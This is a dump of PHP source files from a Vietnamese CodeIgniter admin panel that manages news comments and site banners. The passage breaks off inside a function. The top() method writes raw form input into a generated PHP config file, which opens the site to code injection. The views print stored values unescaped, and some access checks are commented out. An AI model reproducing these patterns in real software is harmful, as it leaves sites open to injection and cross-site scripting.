return $this->db->get('fm_comment')->row();
}
function get_list_zone()
{
$this->db->order_by('lb_zone','ASC');
return $this->db->get('fm_zone')->result();
}
}
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_news/models/comment_model_bk.php | PHP | asf20 | 1,961 |
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class Comment extends CI_Controller
{
public $_module_name = "";
public $pre_message="";
function __construct()
{
parent::__construct();
$this->_module_name = $this->router->fetch_module();
$this->load->config('config_option') ;
$this->session->set_userdata(array('Url'=>uri_string()));
$this->lang->load('news');
$this->load->model('comment_model','comment');
}
function index($kind=0, $current_page=0)
{
//$this->acl->check('view','','',base_url());
//if($this->acl->check('add'))
$data['add'] = $this->_module_name.'/comment/add';
$data = array();
$data['title'] = lang('comment.list');
$config['base_url'] = base_url().$this->_module_name.'/comment/index/'.$kind;
$config['total_rows'] = $this->comment->get_num_comment();
$data['num'] = $config['total_rows'];
$config['per_page'] = 20;//$this->config->item('per_page');
$config['uri_segment'] = $this->uri->total_segments();
$this->pagination->initialize($config);
$data['pagination'] = $this->pagination->create_links();
$this->load->helper('str');
$data['list'] = $this->comment->get_all_comment($config['per_page'],$current_page, $kind);
$data['current_kind']=$kind;
$data['current_page']=$current_page;
$this->_templates['page'] = 'comment/comment_list';
$this->site->load($this->_templates['page'],$data);
}
function view($id)
{
$data = array();
$data['title'] = lang('update');
//$data['zone'] = $this->comment->get_list_zone(0);
//$this->form_validation->set_rules('lb_content',lang('name_category'),'trim|required');
$data['rs'] = $this->comment->get_comment($id);
$this->_templates['page'] = 'comment/comment_view';
$this->site->load($this->_templates['page'],$data, 'basic');
//$this->load->view($this->_templates['page'], $data);
}
/**
@author binh.ngo
@date create 10/4/2012
@method load page edit category
@return void;
**/
function add()
{
$this->acl->check('add','','',base_url());
$data = array();
$data['title'] = lang('add_news');
$data['zone'] = $this->comment->get_list_zone(0);
$this->form_validation->set_rules('lb_content',lang('name_category'),'trim|required');
if($this->form_validation->run()== FALSE){
$this->pre_message = validation_errors();
}else{
$data = $this-> build_data($_POST,1);
if($this->comment->saveData(0,$data)){
$this->session->set_flashdata('message',lang('admin.save_successful'));
redirect($this->_module_name.'/comment');
}else{
$this->pre_message = lang('admin.save_unsuccessful');
}
}
$data['message'] = $this->pre_message;
$this->_templates['page'] = 'comment/comment_add_view';
$this->site_library->load($this->_templates['page'],$data);
}
/**
@author binh.ngo
@date create 10/4/2012
@method load category
@return void;
**/
function edit($id,$current_page=0)
{
$this->acl->check('edit','','',base_url());
$data = array();
$data['zone'] = $this->comment->get_list_zone(0);
$data['rs'] = $this->comment->get_comment($id);
$this->form_validation->set_rules('lb_content',lang('name_category'),'trim|required');
if($this->form_validation->run()== FALSE){
$this->pre_message = validation_errors();
}else{
$data = $this->build_data($_POST,0);
if($this->comment->saveData($id,$data)){
$this->session->set_flashdata('message',lang('admin.save_successful'));
redirect($this->_module_name.'/comment/index/'.$current_page);
}else{
$this->pre_message = lang('admin.save_unsuccessful');
}
}
$data['title'] = lang('update');
$this->_templates['page'] = 'comment/comment_edit_view';
$this->site_library->load($this->_templates['page'],$data);
}
/**
@author binh.ngo
@date create 10/4/2012
@method build data for category
@return array;
**/
function build_data($flag=1)
{
$req["lb_content"] = $this->input->post('lb_content');
$req["bl_active"] = (int) $this->input->post('bl_active');
$req["cm_kind"] = (int) $this->input->post('cm_kind');
if($flag==1){
$req["dt_create"]= date("Y-m-d H:i:s");
}
return $req;
}
function trash($id,$current_page=0)
{
$this->acl->check('trash','','',base_url());
if($this->comment->trash($id))
$this->session->set_flashdata('message',lang('admin.delete_successful'));
else $this->session->set_flashdata('message',lang('admin.delete_unsuccessful'));
$this->comment->remove() ;
redirect($this->_module_name.'/comment/index/'.$current_page);
}
/**
@author binh.ngo
@date create 10/4/2012
@method delete more category
@return void;
**/
function trashes()
{
$this->acl->check('trash','','',base_url());
if(!empty($_POST['ar_id']))
{
$current_page = (int)$this->input->post('current_page');
$ar_id = $this->input->post('ar_id');
if(!empty($_POST['btn_submit']))
{
for($i = 0; $i < sizeof($ar_id); $i ++)
{
if ($ar_id[$i])
{
if($this->comment->trash($ar_id[$i]))
$this->session->set_flashdata('message',lang('admin.delete_successful'));
else $this->session->set_flashdata('message',lang('admin.delete_unsuccessful'));
}
}
}
}
redirect($this->_module_name.'/comment/index/'.$current_page);
}
}
?> | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_news/controllers/comment.php | PHP | asf20 | 5,721 |
<?php
//Vi tri cac banner
$config['pos_banner'][] = 'Chưa chọn' ;
$config['pos_banner'][] = 'Home' ;
$config['pos_banner'][] = 'Right' ;
$config['pos_banner'][] = 'Show detail' ;
$config['pos_banner'][] = 'Khám phá - Artist' ;
//Các loại comment
$config['cm_kind'][] = 'Chưa chọn' ;
$config['cm_kind'][] = 'Tin tức' ;
$config['cm_kind'][] = 'Show' ;
$config['cm_kind'][] = 'Bài hát' ;
//Các loại comment
$config['song_kind'][] = 'Chọn loại nhạc' ;
$config['song_kind'][] = 'Nhạc MP3' ;
$config['song_kind'][] = 'Quảng Cáo' ;
$config['cat_kind'][] = 'Loại Category' ;
$config['cat_kind'][] = 'Category Song' ;
$config['cat_kind'][] = 'Category Playlist';
?> | 123gosaigon | trunk/ 123gosaigon/webadmin/modules/mod_news/config/config_option.php | PHP | asf20 | 716 |
<?php
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
$lang['type']="Banner type";
$lang['choose_type']="Choose type";
$lang['name']="Tiêu đề";
$lang['link']="Liên kết";
$lang['image']="Hình ảnh";
$lang['position']="Vị trí";
$lang['order']="Thứ tự";
$lang['add_file']="Chọn file";
$lang['source']="Nguồn tin";
$lang['type']="Banner type";
?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/language/vn/banner_lang.php | PHP | asf20 | 433 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 label required"><?=lang('banner.type');?></td>
<td>
<select name="banner_type" id="banner_type" style="width:250px;">
<option value=""><?=lang('banner.choose_type');?></option>
<option value="ARTIST">Artist</option>
<option value="MC">MC</option>
</select>
</td>
</tr>
<tr>
<td class="w150 label"><?=lang('adv_name');?></td>
<td><input type="text" name="lb_title" id="lb_title" class="w350" value=""></td>
</tr>
<tr>
<td class="w150 label"><?=lang('adv_link');?></td>
<td><input type="text" name="lb_url" id="lb_url" class="w350" value=""></td>
</tr>
<tr>
<td class="w150 label">Chuyên mục</td>
<td><input type="text" name="lb_sumary" id="lb_sumary" class="w300" value=""></td>
</tr>
<tr>
<td class="w150 label required"><?=lang('adv_images');?><br>(600x400)</td>
<td>
<a class="lib_img" href="javascript:void(0);" onClick="imgLib.openLib({width:'270',height:'180',return_tag:'lb_image',action:'imgcrop'});"></a>
<div class="lb_image">
<input type="hidden" name="lb_image" value="" id="lb_image">
</div></td>
</tr>
<tr>
<td class="w150 label required"><?=lang('adv_images');?><br>(1366x440)</td>
<td>
<a class="lib_img" href="javascript:void(0);" onClick="imgLib.openLib({width:'1366',height:'440',return_tag:'lb_image_large',action:'imgcrop'});"></a>
<div class="lb_image_large">
<input type="hidden" name="lb_image_large" value="" id="lb_image_large">
</div></td>
</tr>
<tr>
<td class="w150 label">Diễn giải</td>
<td>
<textarea name="lb_desc" id="lb_desc" class="w350" rows="6"></textarea>
</td>
</tr>
<tr>
<td class="w150 label"><?=lang('adv_order');?></td>
<td><input type="text" name="nb_order" id="nb_order" class="w200" value=""></td>
</tr>
<tr>
<td class="label"><?=lang('active_deactive');?></td>
<td><input type="checkbox" name="bl_active" id="bl_active" value="1" checked="checked"></td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><input type="submit" name="bt_submit" class="themmoi"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/views/artist/add.php | PHP | asf20 | 2,502 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 label required"><?=lang('banner.type');?></td>
<td>
<select name="banner_type" id="banner_type" style="width:250px;">
<option value=""><?=lang('banner.choose_type');?></option>
<option value="ARTIST" <?=($rs->banner_type=="ARTIST")?'selected="selected"':'';?>>Artist</option>
<option value="MC" <?=($rs->banner_type=="MC")?'selected="selected"':'';?>>MC</option>
</select>
</td>
</tr>
<tr>
<td class="w150 label"><?=lang('adv_name');?></td>
<td><input type="text" name="lb_title" id="lb_title" class="w300" value="<?=$rs->lb_title;?>"></td>
</tr>
<tr>
<td class="w150 label"><?=lang('adv_link');?></td>
<td><input type="text" name="lb_url" id="lb_url" class="w300" value="<?=$rs->lb_url;?>"></td>
</tr>
<tr>
<td class="w150 label">Chuyên mục</td>
<td><input type="text" name="lb_sumary" id="lb_sumary" class="w300" value="<?=$rs->lb_sumary;?>"></td>
</tr>
<tr>
<td class="w150 label required"><?=lang('adv_images');?><br>(270x180)</td>
<td><a class="lib_img" href="javascript:imgLib.openLib({width:'270',height:'180',return_tag:'lb_image',action:'imgcrop'});"></a>
<div class="lb_image">
<input type="hidden" name="lb_image" id="lb_image" value="" />
<a href="javascript:imgLib.openLib({dir_img:'banner/artist/<?=$rs->lb_image?>',width:'270',height:'180',method:'imgcrop',return_tag:'lb_image',action:'imgcrop'});">
<img src="<?=base_url_site()?>uploads/banner/artist/<?=$rs->lb_image?>" width="120px" />
</a>
</div></td>
</tr>
<tr>
<td class="w150 label required"><?=lang('adv_images');?><br>(1366x440)</td>
<td><a class="lib_img" href="javascript:imgLib.openLib({width:'1366',height:'440',return_tag:'lb_image_large',action:'imgcrop'});"></a>
<div class="lb_image_large">
<input type="hidden" name="lb_image_large" id="lb_image_large" value="" />
<a href="javascript:imgLib.openLib({dir_img:'banner/<?=$rs->lb_image_large?>',width:'1366',height:'440',method:'imgcrop',return_tag:'lb_image_large',action:'imgcrop'});">
<img src="<?=base_url_site()?>uploads/banner/<?=$rs->lb_image_large?>" width="200px" />
</a>
</div></td>
</tr>
<tr>
<td class="w150 label">Diễn giải</td>
<td>
<textarea name="lb_desc" id="lb_desc" class="w350" rows="6"><?=$rs->lb_desc;?></textarea>
</td>
</tr>
<tr>
<td class="w150 label"><?=lang('adv_order');?></td>
<td><input type="text" name="nb_order" id="nb_order" class="w200" value="<?=$rs->nb_order;?>"></td>
</tr>
<tr>
<td class="label"><?=lang('active_deactive');?></td>
<td><input type="checkbox" name="bl_active" id="bl_active" value="1" <?=($rs->bl_active==1)? 'checked="checked"' : ''?>></td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><input type="submit" name="bt_submit" id="bt_submit" class="capnhat"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/views/artist/edit.php | PHP | asf20 | 3,315 |
<?
$attributes = array('class' => 'email', 'id' => 'checknew');
echo form_open($this->_module_name.'artist/dels', $attributes);
?>
<table class="admindata">
<thead>
<tr>
<th colspan="8"> <input type="submit" onClick="return verify_del();" name="btn_submit" class="submit" value="<?=lang('delete');?>">
<?=lang('total');?><?=$num?><?=lang('record');?>
<span class="pages"><?=$pagination?></span>
</th>
</tr>
<tr>
<th class="checkbox"><input type="checkbox" name="sa" id="sa" onClick="check_chose('sa', 'ar_id[]', 'checknew');" /></th>
<th width="22px">Order</th>
<th>Type</th>
<th width="212px"><?=lang('name');?></th>
<th>Thumb<br>(270x180)</th>
<th>Chuyên mục</th>
<th>Link</th>
<th width='120'><?=lang('functions');?></th>
</tr>
</thead>
<?
$k=1;
//$position = $this->config->item('pos_banner') ;
foreach($list as $rs):
$filename = ($rs->lb_image) ? base_url_site().'uploads/banner/artist/'.$rs->lb_image : '' ;
$images = fn_show_banner($filename, $rs->lb_url, '', 100) ;
?>
<tr class="row<?=$k?>">
<td><input type="checkbox" name="ar_id[]" value="<?=$rs->banner_id?>"></td>
<td><?=$rs->nb_order?></td>
<td><?=($rs->banner_type=="ARTIST")?'Artist':'MC';?></td>
<td><a href="<?=$rs->lb_url?>"><?=$rs->lb_title?></a></td>
<td><a href="<?=$rs->lb_url?>"><?=$images?></a></td>
<td><?=$rs->lb_sumary?></td>
<td><?=$rs->lb_url?></td>
<td align="center"><?=icon_edit($this->_module_name.'artist/edit/'.$rs->banner_id)?>
<span id="publish<?=$rs->banner_id?>"><?=icon_active("'fm_banner'","'banner_id'",$rs->banner_id,$rs->bl_active)?></span>
<?=icon_del($this->_module_name.'artist/del/'.$rs->banner_id.'/'.(int)$this->uri->segment(4))?></td>
</tr>
<?
$k=1-$k;
endforeach;
?>
<tfoot>
<td colspan="8"><input type="submit" class="submit" onClick="return verify_del();" name="btn_submit" value="<?=lang('delete');?>">
<?=lang('total');?>
<?=$num?>
<?=lang('record');?>
<span class="pages">
<?=$pagination?>
</span></td>
</tfoot>
</table>
<?=form_close()?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/views/artist/index.php | PHP | asf20 | 2,413 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 label"><?=lang('type');?></td>
<td>
<select name="banner_type" id="banner_type" style="width:250px;">
<option value=""><?=lang('choose_type');?></option>
<?php foreach($list_banner_type as $banner_type){?>
<option value="<?=$banner_type->code?>"><?=$banner_type->name?></option>
<?php } ?>
</select>
</td>
</tr>
<tr>
<td class="w150 label"><?=lang('name');?></td>
<td><input type="text" name="lb_title" id="lb_title" class="w300" value=""></td>
</tr>
<tr>
<td class="w150 label"><?=lang('link');?></td>
<td><input type="text" name="lb_url" id="lb_url" class="w300" value=""></td>
</tr>
<tr>
<td class="w150 label required"><?=lang('image');?></td>
<td>
<a class="lib_img" href="javascript:void(0);" onClick="imgLib.openLib({width:'663',height:'300',return_tag:'lb_image',action:'imgcrop'});" title="<?=lang('add_file');?>"></a>
<div class="lb_image">
<input type="hidden" name="lb_image" value="" id="lb_image">
</div>
</td>
</tr>
<tr>
<td class="label required"><?=lang('position');?></td>
<td><select name="nb_position" id="nb_position" class="w200">
<?
$position = $this->config->item('pos_banner') ;
for($i=0;$i<count($position);$i++) {
?>
<option value="<?=$i?>"><?=$position[$i]?></option>
<? } ?>
</select></td>
</tr>
<script language="javascript">selectoption('nb_position', '');</script>
<tr>
<td class="w150 label"><?=lang('order');?></td>
<td><input type="text" name="nb_order" id="nb_order" class="w200" value=""></td>
</tr>
<tr>
<td class="label"><?=lang('active_deactive');?></td>
<td><input type="checkbox" name="bl_active" id="bl_active" value="1" checked="checked"></td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><input type="submit" name="bt_submit" class="themmoi"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/views/banner/add.php | PHP | asf20 | 2,288 |
<?=form_open(uri_string());?>
<table class="form">
<tr>
<td class="w150 label required"><?=lang('banner.type');?></td>
<td>
<select name="banner_type" id="banner_type" style="width:250px;">
<option value=""><?=lang('banner.choose_type');?></option>
<?php foreach($list_banner_type as $banner_type){?>
<option value="<?=$banner_type->code?>" <?=($rs->banner_type==$banner_type->code)?'selected="selected"':'';?>><?=$banner_type->name?></option>
<?php } ?>
</select>
</td>
</tr>
<tr>
<td class="w150 label"><?=lang('name');?></td>
<td><input type="text" name="lb_title" id="lb_title" class="w300" value="<?=$rs->lb_title;?>"></td>
</tr>
<tr>
<td class="w150 label"><?=lang('link');?></td>
<td><input type="text" name="lb_url" id="lb_url" class="w300" value="<?=$rs->lb_url;?>"></td>
</tr>
<tr>
<td class="w150 label required"><?=lang('image');?></td>
<td>
<a class="lib_img" href="javascript:void(0);" onClick="imgLib.openLib({width:'663',height:'300',return_tag:'lb_image',action:'imgcrop'});" title="<?=lang('add_file');?>"></a>
<div class="lb_image">
<input type="hidden" name="lb_image" class="w350" value="banner/<?=$rs->lb_image;?>" id="lb_image">
<a href="javascript:void(0);" onClick="imgLib.openLib({dir_img:'banner/<?=$rs->lb_image;?>',width:'663',height:'300',method:'imgcrop',return_tag:'lb_image',action:'imgcrop'});">
<img src="<?=base_url_site().'uploads/banner/'.$rs->lb_image?>" width="100px"/>
</a>
</div>
</td>
</tr>
<!--<tr>
<td class="label required"><?=lang('position');?></td>
<td><select name="nb_position" id="nb_position" class="w200">
<?
$position = $this->config->item('pos_banner') ;
for($i=0;$i<count($position);$i++) {
?>
<option value="<?=$i?>"><?=$position[$i]?></option>
<? } ?>
</select></td>
</tr>
<script language="javascript">selectoption('nb_position','<?=$rs->nb_position?>');</script>-->
<tr>
<td class="w150 label"><?=lang('order');?></td>
<td><input type="text" name="nb_order" id="nb_order" class="w200" value="<?=$rs->nb_order;?>"></td>
</tr>
<tr>
<td class="label"><?=lang('active_deactive');?></td>
<td><input type="checkbox" name="bl_active" id="bl_active" value="1" <?=($rs->bl_active==1)? 'checked="checked"' : ''?>></td>
</tr>
<tr>
<td class="label"></td>
<td class="footer"><input type="submit" name="bt_submit" class="capnhat"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/views/banner/edit.php | PHP | asf20 | 2,863 |
<?=form_open(uri_string(),array('id'=>'adminform'));?>
<table class="form" style="">
<tr>
<td class="w150 label">Tên Picture</td>
<td><input type="text" name="bntop_name" class=" w300" value="<?=$bntop_name?>"></td>
</tr>
<tr>
<td class="label">Link Picture</td>
<td><input type="text" name="bntop_link" class=" w300" value="<?=$bntop_link?>"></td>
</tr>
<tr>
<td class="label">Picture</td>
<td><input type="text" class=" w300" name="bntop_img" id="hinhanh" value="<?=$bntop_img?>">
<a href="<?=base_url()?>filemanager/index/hinhanh" id="addimages" class="cboxElement" title="Thêm File"> <img src="<?=base_url()?>templates/images/icon/attach.png" alt=""> </a></td>
</tr>
<!--<tr>
<td class="label">Chiều rộng</td>
<td><input type="text" class="w150" name="bntop_width" value="<?=$bntop_width?>">
Pixcel</td>
</tr>
<tr>
<td class="label">Chiều cao</td>
<td><input type="text" class="w150" name="bntop_height" value="<?=$bntop_height?>">
Pixcel</td>
</tr>-->
<tr>
<td class="label">Hiển thị</td>
<td><input type="checkbox" name="bntop_active" value="1" <?=($bntop_active==1)?'checked="checked"':'';?>></td>
</tr>
<tr>
<td colspan="2" class="footer"><input type="submit" name="bt_submit" class="capnhat"></td>
</tr>
</table>
<?=form_close();?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/views/banner/banner_top.php | PHP | asf20 | 1,485 |
<?
$attributes = array('class' => 'email', 'id' => 'checknew');
echo form_open($this->_module_name.'/banner/dels', $attributes);
?>
<input type="hidden" name="offset" value="<?=(int)$offset?>">
<table class="admindata">
<thead>
<tr>
<th colspan="6"> <input type="submit" onclick="return verify_del();" name="btn_submit" class="submit" value="<?=lang('delete');?>">
<?=lang('total');?>
<?=$num?>
<?=lang('record');?>
<span class="pages">
<?=$pagination?>
</span> </th>
</tr>
<tr>
<th class="checkbox"><input type="checkbox" name="sa" id="sa" onclick="check_chose('sa', 'ar_id[]', 'checknew');" /></th>
<th width="212px"><?=lang('banner.name');?></th>
<th>Picture</th>
<th width="112px">Date</th>
<th width='120'><?=lang('functions');?></th>
</tr>
</thead>
<?
$k=1;
foreach($list as $rs):
$filename = ($rs->lb_image) ? base_url_site().'uploads/banner/'.$rs->lb_image : '' ;
$images = fn_show_banner($filename, $rs->lb_url, '', 100) ;
?>
<tr class="row<?=$k?>">
<td><input type="checkbox" name="ar_id[]" value="<?=$rs->banner_id?>"></td>
<td><a href="<?=$rs->lb_url?>"><?=$rs->lb_title?></a></td>
<td><a href="<?=$rs->lb_url?>"><?=$images?></a></td>
<td><?=date("H:i d/m/Y", strtotime($rs->dt_create))?></td>
<td align="center"><?=icon_edit($this->_module_name.'/banner/edit/'.$rs->banner_id)?>
<span id="publish<?=$rs->banner_id?>"><?=icon_active("'fm_banner'","'banner_id'",$rs->banner_id,$rs->bl_active)?></span>
<?=icon_del($this->_module_name.'/banner/del/'.$rs->banner_id.'/'.(int)$offset)?></td>
</tr>
<?
$k=1-$k;
endforeach;
?>
<tfoot>
<td colspan="6"><input type="submit" class="submit" onclick="return verify_del();" name="btn_submit" value="<?=lang('delete');?>">
<?=lang('total');?>
<?=$num?>
<?=lang('record');?>
<span class="pages">
<?=$pagination?>
</span></td>
</tfoot>
</table>
<?=form_close()?>
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/views/banner/index.php | PHP | asf20 | 2,252 |
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class Banner_model extends CI_Model
{
function __construct()
{
parent::__construct();
}
function getAllBanner($num,$offset)
{
$this->db->where('bl_active !=', -1);
$this->db->order_by('dt_create','DESC');
return $this->db->get('banner',$num,$offset)->result();
}
function get_num_banner()
{
$this->db->where('bl_active !=', -1);
return $this->db->get('banner')->num_rows();
}
function delBanner($id)
{
$data['bl_active'] = -1 ;
$data['dt_create'] = date("Y-m-d H:i:s") ;
$this->db->where('banner_id',$id);
if($this->db->update('banner', $data)){
return true;
}else{
return false;
}
}
function remove()
{
$date = new DateTime();
$date->modify('-3 month');
$date_del = $date->format('Y-m-d H:i:s');
$this->db->where('bl_active', -1);
$this->db->where('dt_create <', $date_del);
if($this->db->delete('banner')){
return true;
}else{
return false;
}
}
function saveBanner($banner_id,$data)
{
if($banner_id != 0){
$this->db->where('banner_id',$banner_id);
return $this->db->update('banner',$data);
}else{
if($this->db->insert('banner',$data)){
return $this->db->insert_id();
}else{
return false;
}
}
}
function getBannerByID($banner_id=0)
{
$this->db->where('banner_id',$banner_id);
return $this->db->get('banner')->row();
}
/*function get_list_country()
{
$this->db->order_by('lb_country','ASC');
return $this->db->get('fm_country')->result();
}*/
function getAllBannerType()
{
return $this->db->get('banner_type')->result();
}
}
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/models/banner_model.php | PHP | asf20 | 1,862 |
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class Artist_model extends CI_Model
{
public function __construct()
{
parent::__construct();
}
function get_all($num, $offset, $banner_type='')
{
//if($banner_type) $this->db->where('banner_type', $banner_type);
$this->db->where('(banner_type= "ARTIST" OR banner_type = "MC")');
$this->db->where('bl_active !=', -1);
$this->db->order_by('nb_position','ASC');
$this->db->order_by('nb_order','ASC');
return $this->db->get('fm_banner',$num,$offset)->result();
}
function get_num($banner_type='')
{
//if($banner_type) $this->db->where('banner_type', $banner_type);
$this->db->where('(banner_type= "ARTIST" OR banner_type = "MC")');
$this->db->where('bl_active !=', -1);
return $this->db->get('fm_banner')->num_rows();
}
function del($id)
{
$data['bl_active'] = -1 ;
$data['dt_modify'] = date("Y-m-d H:i:s") ;
$this->db->where('banner_id',$id);
if($this->db->update('fm_banner', $data)){
return true;
}else{
return false;
}
}
function remove()
{
$date = new DateTime();
$date->modify('-3 month');
$date_del = $date->format('Y-m-d H:i:s');
$this->db->where('bl_active', -1);
$this->db->where('dt_modify <', $date_del);
if($this->db->delete('fm_banner')){
return true;
}else{
return false;
}
}
function save($data, $id=0)
{
if($id){
$this->db->where('banner_id',$id);
if($this->db->update('fm_banner',$data)){
return true;
}else{
return false;
}
}else{
if($this->db->insert('fm_banner',$data)){
return true;
}else{
return false;
}
}
}
function get_id($id=0)
{
$this->db->where('banner_id',$id);
return $this->db->get('fm_banner')->row();
}
function get_list_country()
{
$this->db->order_by('lb_country','ASC');
return $this->db->get('fm_country')->result();
}
}
| 123gosaigon | trunk/ 123gosaigon/webadmin/modules/banner/models/artist_model.php | PHP | asf20 | 2,037 |
<?php if (! defined('BASEPATH')) exit('No direct script access allowed');
class Banner extends CI_Controller
{
public $_module_name = "";
function __construct()
{
parent::__construct();
$this->_module_name = $this->router->fetch_module();
$this->lang->load('banner');
$this->load->model('banner_model','banner');
$this->load->config('config_position') ;
$this->session->set_userdata(array('Url'=>uri_string()));
}
/**
Date : 05/05/2014
Desc : show list
Params : option
Return : showview
**/
function index($offset=0)
{
$data['title'] = 'Quản lý banner';
$data['add'] = $this->_module_name.'/add';
$config['total_rows'] = $this->banner->get_num_banner();
$data['num'] = $config['total_rows'];
$per_page = $this->config->item('per_page');
$paging_limit = $this->config->item('paging_limit');
$config['per_page'] = $per_page;
$config['uri_segment'] = $paging_limit;
$this->pagination->initialize($config);
$data['pagination'] = $this->pagination->create_links();
$data['list'] = $this->banner->getAllBanner($config['per_page'],$offset);
$data['offset']=$offset;
$data['page'] = 'banner/banner/index' ;
$this->load->view('layout/skin', $data);
}
/**
Date : 05/05/2014
Desc : add new record
Params : option
Return : showview
**/
function add()
{
//trit($this->lang);
$data['title'] = 'Thêm mới quảng cáo';
$this->form_validation->set_rules('banner_type',lang('banner.type'),'trim|required');
$this->form_validation->set_rules('lb_image',lang('image'),'trim|required');
//$this->form_validation->set_rules('nb_position',lang('position'),'trim|required');
if($this->form_validation->run()== FALSE){
$this->pre_message = validation_errors();
}else{
$dataUpdate = $this-> build_data($_POST,$flag=1);
$lb_image = $this->input->post('lb_image');
if($lb_image&&$lb_image!=''){
$arr_lb_image = explode('/',$lb_image);
$file_name_image = end($arr_lb_image);
if (!copy('../uploads/'.$lb_image,'../uploads/banner/'.$file_name_image)) {
//echo "failed to copy $file...\n";
}
$dataUpdate["lb_image"]=$file_name_image;
}
if($this->banner->saveBanner(0,$dataUpdate)){
$this->session->set_flashdata('message',lang('successful'));
redirect($this->_module_name.'/banner');
}
}
$data['message'] = $this->pre_message;
$data['list_banner_type']=$this->banner->getAllBannerType();
$data['page'] = 'banner/banner/add' ;
$this->load->view('layout/skin', $data);
}
/**
Date : 05/05/2014
Desc : edit form
Params : option
Return : showview
**/
function edit($banner_id)
{
$data['title'] = lang('update');
$data['rs'] = $this->banner->getBannerByID($banner_id);
$this->form_validation->set_rules('banner_type',lang('banner.type'),'trim|required');
$this->form_validation->set_rules('lb_image',lang('image'),'trim|required');
//$this->form_validation->set_rules('nb_position',lang('position'),'trim|required');
if($this->form_validation->run()== FALSE){
$this->pre_message = validation_errors();
}else{
$dataUpdate = $this->build_data($_POST,$flag=0);
$lb_image = $this->input->post('lb_image');
if($lb_image&&$lb_image!=''){
$arr_lb_image = explode('/',$lb_image);
$file_name_image = end($arr_lb_image);
if($file_name_image!=$data['rs']->lb_image){
if (!copy('../uploads/'.$lb_image,'../uploads/banner/'.$file_name_image)) {
redirect($this->_module_name.'/banner/edit/'.$banner_id);
}else{
unlink('../uploads/banner/'.$data['rs']->lb_image);
$dataUpdate["lb_image"]=$file_name_image;
}
}
}
if($this->banner->saveBanner($banner_id,$dataUpdate))
{
$this->session->set_flashdata('message',lang('successful'));
redirect($this->_module_name.'/banner');
}
}
$data['message'] = $this->pre_message;
$data['list_banner_type']=$this->banner->getAllBannerType();
$data['page'] = 'banner/banner/edit' ;
$this->load->view('layout/skin', $data);
}
/**
Date : 05/05/2014
Desc : show list
Params : option
Return : showview
**/
function build_data($data,$flag=1)
{
$dataUpdate["banner_type"]=trim($data["banner_type"]);
$dataUpdate["lb_title"]=trim($data["lb_title"]);
$dataUpdate["lb_url"]=trim($data["lb_url"]);
$dataUpdate["nb_position"]=trim($data["nb_position"]);
$dataUpdate["nb_order"]=trim($data["nb_order"]);
$dataUpdate["bl_active"]= (int) $this->input->post("bl_active");
$dataUpdate["dt_create"]= date("Y-m-d H:i:s");
if($flag==1){
}
return $dataUpdate;
}
/**
Date : 05/05/2014
Desc : show list
Params : option
Return : showview
**/
function del($banner_id,$offset=0)
{
if($this->banner->delBanner($banner_id))
$this->session->set_flashdata('message',lang('delete_success'));
else $this->session->set_flashdata('message',lang('delete_unsuccess'));
// xóa các tin đã bo sau 3 tháng
$this->banner->remove() ;
redirect($this->_module_name.'/banner/index/'.$offset);
}
/**
Date : 05/05/2014
Desc : show list
Params : option
Return : showview
**/
function dels()
{
if(!empty($_POST['ar_id']))
{
$offset = (int)$this->input->post('page');
$ar_id = $this->input->post('ar_id');
if(!empty($_POST['btn_submit']))
{
for($i = 0; $i < sizeof($ar_id); $i ++) {
if ($ar_id[$i]){
if($this->banner->delBanner($ar_id[$i]))
$this->session->set_flashdata('message',lang('delete_success'));
else $this->session->set_flashdata('message',lang('delete_unsuccess'));
}
}
}
}
redirect($this->_module_name.'/banner/index/'.$offset);
}
/**
Date : 05/05/2014
Desc : show list
Params : option
Return : showview
**/
function top()
{
$data['title'] = 'Quản lý banner top';
$data['bntop_name'] = $this->config->item('bntop_name');
$data['bntop_link'] = $this->config->item('bntop_link');
$data['bntop_img'] = $this->config->item('bntop_img');
/*$data['bntop_width'] = $this->config->item('bntop_width');
$data['bntop_height'] = $this->config->item('bntop_height');*/
$data['bntop_active'] = $this->config->item('bntop_active');
$this->form_validation->set_rules('bntop_name','Tên quảng cáo','required');
$this->form_validation->set_rules('bntop_link','Link quảng cáo','required');
$this->form_validation->set_rules('bntop_img','Hình ảnh quảng cáo','required');
//$this->form_validation->set_rules('bntop_width','Chiều rộng quảng cáo','required|numeric');
//$this->form_validation->set_rules('bntop_height','Chiều cao quảng cáo','required|numeric');
if($this->form_validation->run() == false)
{
$this->pre_message = validation_errors();
}
else
{
$bntop_name = $this->input->post('bntop_name');
$bntop_link = $this->input->post('bntop_link');
$bntop_img = $this->input->post('bntop_img');
/*$bntop_width = $this->input->post('bntop_width');
$bntop_height = $this->input->post('bntop_height');*/
$bntop_active = (int)$this->input->post('bntop_active');
$str = "<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');\n";
$str .= "\n";
$str .= "\n\$config['bntop_name'] = '$bntop_name';"; ;
$str .= "\n\$config['bntop_link'] = '$bntop_link';"; ;
$str .= "\n\$config['bntop_img'] = '$bntop_img';"; ;
//$str .= "\n\$config['bntop_width'] = $bntop_width;"; ;
//$str .= "\n\$config['bntop_height'] = $bntop_height;"; ;
$str .= "\n\$config['bntop_active'] = $bntop_active;"; ;
$str .= "\n";
